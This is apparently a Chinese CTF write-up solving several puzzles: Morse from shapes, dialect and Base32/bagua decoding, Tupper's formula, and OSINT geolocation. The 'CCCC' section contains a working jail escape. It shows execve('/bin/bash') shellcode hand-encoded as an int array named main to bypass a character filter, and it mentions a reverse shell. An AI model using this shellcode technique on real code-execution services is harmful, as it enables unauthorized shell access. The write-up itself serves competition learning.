下一站上岸

某同学在考公的时候看到这样一道题,发现自己怎么也找不到图形的共同特征或规律,你能帮帮他吗?

首先,在题给图片文件的结尾可以发现一串 Base64 编码的字符串,将其解码后可以获得提示「摩斯密码」:

Screenshot-202402041438.webp

摩斯密码总共有三种状态:点 . 线 - 和空格(分隔字符)。分析题目图像,经常考公的同学应该不难看出,每个图形都可以视作两个基本图形组合在一起,题中出现图形的这两个基本图形之间交点数量有所不同:

下一站上岸

而这两个基本图形的交点数量全图数下来总共只有三种情况:0、1、2。这三种情况分别对应摩斯密码的三种状态,于是可以将图形转换为摩斯密码,然后解码就得到了 Flag:

Screenshot-202402041449.webp

CCCC

1
2
3
4
5
6
7
1. Input your source code of main.c. Meanwhile you can only use legal characters. Then your code will write in /home/ctf/main.c
legal characters ==> {[=you=4r3sAG@cioU$HaCKER4nD60Od@7cPRogr4mJa1L,8uTN0tPwn Z2zzzzz;]}
...(nothing)...
4. main.c will be complied and run, command are as followed
compiled command ==> gcc -x c -w main.c -o main
5. run command ==> subprocess.run(['./main'], stdout=sys.stdout, stderr=subprocess.DEVNULL)
6. Docker First line is ==> FROM ubuntu:18.04 AS builder

显然这题不能用常规思路写代码了。参考 Hint 提供的资料 Main is usually a function. So then when is it not? 直接从汇编入手:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main() {
__asm__(
"mov $59, %rax;\n"
"lea 20(%rip), %rdi;\n"
"xor %rsi, %rsi;\n"
"xor %rdx, %rdx;\n"
"syscall;\n"
// system("/bin/bash")

"mov $60, %rax;\n"
"xor %rdi, %rdi;\n"
"syscall;\n"
// exit(0)

"command: .ascii \"/bin/bash\\x00\";");
}

直接 gcc -c main.c -o main.o 编译然后 objdump -d -s main.o 拿到字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 0:   55                      push   %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
b: 48 c7 c7 00 00 00 00 mov $0x0,%rdi
12: 48 31 f6 xor %rsi,%rsi
15: 48 31 d2 xor %rdx,%rdx
18: 0f 05 syscall

1a: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
21: 48 31 ff xor %rdi,%rdi
24: 0f 05 syscall

# 下面是字符串 "/bin/bash\0"
26: 2f 62 69 6e 2f 62 61 73 68 b8 00 00 00 00

34: 5d pop %rbp
35: c3 ret

因为不允许有字母 h,所以还是得把字节码转为 int,不过数字这边又不允许有 59,在看了眼没有字母 bx 的情况下,最后我还是选择通过手改字节码凑八进制和十进制来解决。这部分纯属体力活,我凑了大概两小时:

1
2
3
4
5
6
7
8
9
10
11
12
13
const char main[] = {
0x48, 0x89, 0xe5,
0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x28, 0x00, 0x00, 0x00,
0x48, 0x31, 0xd2,
0x0f, 0x05, // syscall

0xc3, // ret

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 凑数的

0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x00 // "/bin/bash\0"
};

最终 Payload 如下:

1
const int main[] = {1223002440, 016740307, 2370306048, 10301, 032214244000, 060602417, 0, 0, 0, 0, 0, 0, 0, 0, 1768042240, 1633824622, 064163};

没有回显的问题就交给反弹 Shell 解决:

Screenshot-202402041536.webp

devil's word

leu lia leu ng leu cai leu jau leu e cai b cai jau sa leng cai ng ng f leu b leu e sa leng cai cai ng f cai cai sa sa leu e cai a leu bo leu f cai ng ng f leu sii leu jau sa sii leu c leu ng leu sa cai sii cai d

温州话怎么你了。

1
2
3
4
5
6
7
8
9
10
with open("devil's word.txt", 'r') as f:
data = f.read().strip().split(' ')

table = {'leng': '0', 'lia': '2', 'sa': '3', 'sii': '4', 'ng': '5', 'leu': '6', 'cai': '7', 'bo': '8', 'jau': '9', 'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd', 'e': 'e', 'f': 'f'}

result = b''
for i in range(0, len(data), 2):
result += bytes([int(table[data[i]]+table[data[i + 1]], 16)])

print(result.decode())

你知道中国文化嘛 1.0

题给文本确实是 Base32 编码的,但是其中部分字符被替换了。被替换的字符不多,随便找个 [A-Z2-7] 的字符给它修一下,使得解码后的文本都是八卦符号,信息的缺失可以在后面修正。

找工具 lkjlsj/base8-bagua-py 解码八卦后发现是社会主义核心价值观,其中有些字符不太对劲,就是上一步随便修的字符导致了信息错误,给它修正后进行核心价值观解码,最后进行一个 Key=5 的栅栏密码解密就得到了 Flag。

Tupper

你知道什么是 Tupper's Self-Referential Formula 吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import matplotlib.pyplot as plt
from base64 import b64decode
from os import listdir
import numpy as np

def tupper(k):

def f(x, y):
y += k
a1 = 2**-(-17*x - y % 17)
a2 = (y // 17) // a1
return 0 if a2 % 2 > 0.5 else 1

a = np.zeros((17, 106))

for y in range(17):
for x in range(106):
a[y, x] = f(x, y)

return a[::-1, :]

files = listdir("tupper")
files.sort(key=lambda x: int(x.split(".")[0]))

source = ''
for file in files:
with open(f"tupper/{file}", "r") as f:
source += f.read()

source = int(b64decode(source).decode())
image = tupper(source)

plt.imshow(image, cmap='gray')
plt.show()

Screenshot-202402041851.webp

real check in

签到题,Base32 解码就是了。

where is crazyman v1.0

where is crazyman v1.0

一眼二次元圣地「秋叶原」。

where is crazyman v2.0

where is crazyman v2.0

图片搜索即可:

Screenshot-202402041900.webp

where is crazyman v3.0

where is crazyman v3.0

图中可以注意到的是「BOUDL Apart Hotel」以及「Starbucks」,并且题说酒店和咖啡馆很近。基于上一题的搜索结果,搜索「Boulevard World」附近的「BOUDL Apart Hotel」:

Screenshot-202402041928.webp

逐个筛查这些地点附近的「Starbucks」,几分钟内就可以找到熟悉的桌椅设计:

Screenshot-202402041935.webp

Flag 在 Google Map 该地点的评论中(Base64 编码过):

Screenshot-202402041936.webp